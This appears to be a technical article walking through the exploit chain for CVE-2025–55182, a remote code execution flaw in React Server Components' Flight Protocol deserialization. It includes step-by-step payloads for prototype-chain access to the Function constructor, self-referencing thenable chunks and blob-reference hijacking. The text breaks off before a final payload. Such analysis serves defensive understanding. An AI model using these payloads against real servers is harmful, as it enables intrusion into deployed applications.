Introduction
In December 2024, a critical Remote Code Execution (RCE) vulnerability was discovered in React Server Components, affecting applications built with Next.js and other frameworks using React's Server Functions. This vulnerability, tracked as CVE-2025–55182, allowed attackers to execute arbitrary code on the server by exploiting weaknesses in React's Flight Protocol deserialization process.
This article provides a comprehensive technical breakdown of the vulnerability, starting from fundamental JavaScript concepts to the complete exploitation chain.
Prerequisites: Essential Concepts
Before diving into the vulnerability, let's establish the foundational knowledge needed to understand how this exploit works.
1. Duck Typing in JavaScript
JavaScript uses "duck typing" — if something walks like a duck and quacks like a duck, JavaScript treats it as a duck. This principle is crucial for understanding Promises.
JavaScript doesn't check if an object is actually a Promise. It only checks if the object has a .then() method. If it does, JavaScript treats it as a "thenable" (promise-like object).
// This is NOT a real Promise, but JavaScript treats it like one
const fakePromise = {
then: function(resolve, reject) {
console.log("I'm being called!");
resolve("Done!");
}
};
// When you await it, JavaScript automatically calls .then()
await fakePromise; // Logs: "I'm being called!"Why This Matters: Attackers can create malicious objects with a .then() method that gets automatically executed when the object is awaited.
2. Prototype Chain in JavaScript
Every JavaScript object has a prototype chain that allows property lookup:
const obj = { name: "apple" };
// Direct property access
obj.name; // "apple"
// Prototype chain access
obj.__proto__; // Object.prototype
obj.__proto__.constructor; // Object constructor
obj.__proto__.constructor.constructor; // Function constructor
// The Function constructor can create functions from strings:
const maliciousCode = "console.log('Hacked!')";
const func = Function(maliciousCode);
func(); // Executes the code!Security Implication: If attackers can traverse the prototype chain and reach Function.constructor, they can create arbitrary functions.
3. Server Functions
React Server Components introduced "Server Functions" — a way for client-side code to call server-side functions as if they were local. Think of it as RPC (Remote Procedure Call) over HTTP.
4. React Flight Protocol
To communicate between client and server, React uses the "Flight Protocol" — a custom serialization format that can represent complex JavaScript values including:
- Objects and arrays: Standard JavaScript data structures
- Dates and special types: Built-in JavaScript types with special serialization
- References between chunks: Ability to reference data in other chunks
- Promises and lazy values: Asynchronous data loading support
- React elements and components: Serialize React elements (JSX) and component references.
The Flight Protocol works by splitting data into "chunks" numbered segments that can reference each other. This allows efficient transmission of complex, interconnected data structures.
4.1 Chunk Reference Syntax
The Flight Protocol uses special prefixes to denote different types of references:
1. Resolved Value Reference
files = {
"0": '["$1"]', // Chunk 0: Array referencing chunk 1
"1": '{"fruit":"cherry"}', // Chunk 1: Object with data
}Deserialization process:
- Parse chunk 1: {fruit: "cherry"}
- Parse chunk 0: ["$1"]
- Replace $1 with chunk 1's value
- Final result: [{"fruit":"cherry"}]
2. Property Access
files = {
"0": '["$1:fruit"]', // Reference the "fruit" property of chunk 1
"1": '{"fruit":"cherry","color":"red"}',
}Deserialization process:
1. Parse chunk 1: {fruit: "cherry", color: "red"}
2. Parse chunk 0: ["$1:fruit"]
3. Resolve $1:fruit → chunk1.fruit → "cherry"
4. Final result: ["cherry"]
3. Nested Property Access
files = {
"0": '["$1:user:address:city"]', // Deep property access
"1": '{"user":{"name":"Alice","address":{"city":"NYC","zip":"10001"}}}',
}Deserialization process:
1. Parse chunk 1
2. Resolve $1:user:address:city
Start with chunk 1
Access .user → {name: "Alice", address: {…}}
Access .address → {city: "NYC", zip: "10001"}
Access .city → "NYC"
3. Final result: ["NYC"]
4. Raw Chunk Object Reference
This is special and critical to the exploit. Instead of returning the deserialized value, $@ returns the internal Chunk wrapper object that React uses internally.
// Normal reference ($1):
files = {
"0": '["$1"]',
"1": '{"data":"value"}',
}
// Returns: [{"data":"value"}] // The VALUE
// Raw chunk reference ($@1):
files = {
"0": '["$@1"]',
"1": '{"data":"value"}',
}
// Returns: [Chunk {...}] // The CHUNK WRAPPER OBJECTThe $@ syntax exposes React's internal Chunk structure, which has properties like:
- status: The chunk's lifecycle state ("pending", "resolved_model", etc.)
- value: The raw string data
- _response: The deserialization context
- then(): A method that makes chunks thenable (Promise-like)
Exploitation Chain: Step-by-Step RCE
Now let's walk through the complete exploitation chain that leads to Remote Code Execution.
Phase 1: Gaining Access to Function Constructor
Payload:
files = {
"0": '["$1:__proto__:constructor:constructor"]',
"1": '{"x":1}',
}Explaination:
- Chunk 0 references chunk 1's property path:__proto__:constructor:constructor
- Starting from {"x":1}:
obj.__proto__ → Object.prototype
Object.prototype.constructor → Object constructor
- Object.prototype.constructor.constructor → Function constructor
Result: Chunk 0 resolves to the Function constructor
Phase 2: Understanding the Challenge
At this point, we can access the Function constructor, but we face a problem: how do we invoke it with controlled input?The key insight is using JavaScript's automatic .then() invocation when object`s status is resolved . If we can make our payload return an object with a .then() property that:
- Gets automatically called by JavaScript
- Executes our malicious code
- Does so in a controlled manner
Then we achieve RCE. However, we need to understand React's internal Chunk mechanism to make this work properly.
Phase 3: React's Internal Chunk Structure
React internally wraps all chunks in a Chunk class that implements the thenable protocol:
// Simplified React Chunk implementation
class Chunk {
constructor(value) {
this.status = "pending"; // Lifecycle: pending, resolved_model, resolved, rejected
this.value = value; // Raw string data from the chunk
this._response = responseContext; // Deserialization context
}
// This method makes Chunks awaitable (thenable)
then(resolve, reject) {
switch (this.status) {
case "resolved_model":
// When status is "resolved_model", trigger special processing
initializeModelChunk(this);
break;
case "pending":
// Queue the callbacks until chunk resolves
if (this.value === null) {
this.value = [resolve, reject];
}
break;
case "resolved":
// Already resolved, call resolve immediately
resolve(this.value);
break;
case "rejected":
// Already rejected, call reject immediately
reject(this.reason);
break;
}
}
}Critical Observation: If we can create a chunk with status: "resolved_model" and make its .then property point to Chunk.prototype.then, we can trigger initializeModelChunk() with our controlled data!
Phase 4: Self-Referencing Chunks
This is where the exploit gets clever. The key insight was to use $@ references to create self-referencing chunks.The $@0 reference returns the Chunk wrapper object for chunk 0, not its deserialized value. This Chunk wrapper has a prototype chain that includes Chunk.prototype, which has the then() method we saw above.
The Exploit Payload:
files = {
"0": '{"then": "$1:__proto__:then", "status": "resolved_model"}',
"1": '"$@0"',
}- We've made chunk 0's .then point to React's internal Chunk.prototype.then
- We've set chunk 0's status to "resolved_model"
- JavaScript automatically calls chunk0.then()
- This triggers initializeModelChunk(chunk0) with our controlled chunk
- Now we control the execution flow inside React's internal processing!
Phase 5: Hijacking initializeModelChunk
By reaching initializeModelChunk, we gain access to a second round of deserialization where we have even more control:
function initializeModelChunk(chunk) {
// Extract the raw string value
var resolvedModel = chunk.value;
// Parse it as JSON
var rawModel = JSON.parse(resolvedModel);
// Resolve references AGAIN, using chunk._response as context
var value = reviveModel(chunk._response, {"": rawModel}, "", rawModel);
// Return the processed value
return value;
}Key Points:
- chunk.value is parsed as JSON — we control this string
- The parsed object goes through reference resolution again
- We control chunk._response which provides the context for reference resolution
- This second round of processing is where we inject our malicious payload
Updated Payload:
files = {
"0": {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, // Technical detail to avoid errors
"value": '{"then": "$B0"}', // This gets parsed in initializeModelChunk
"_response": {
// We'll craft this to control $B0 resolution
}
},
"1": '"$@0"',
}Execution Flow:
- await chunk0 → calls Chunk.prototype.then
- Status check passes since "status": "resolved_model"→ calls initializeModelChunk(chunk0)
- Parses chunk0.value: '{"then": "$B0"}' → {then: "$B0"}
- Resolves references in the new object
Must resolve $B0 using our crafted _response context
Phase 6: Exploiting Blob Deserialization ($B prefix)
The Flight Protocol has a special handler for blob/binary data using the $B prefix:
case "B":
// Extract the number after B (in hexadecimal)
var blobId = parseInt(value.slice(2), 16);
// Get from FormData using prefix + id
return response._formData.get(response._prefix + blobId);For $B0:
- Extract ID: parseInt("0", 16) = 0
- Build key: response._prefix + "0"
Call: response._formData.get(key)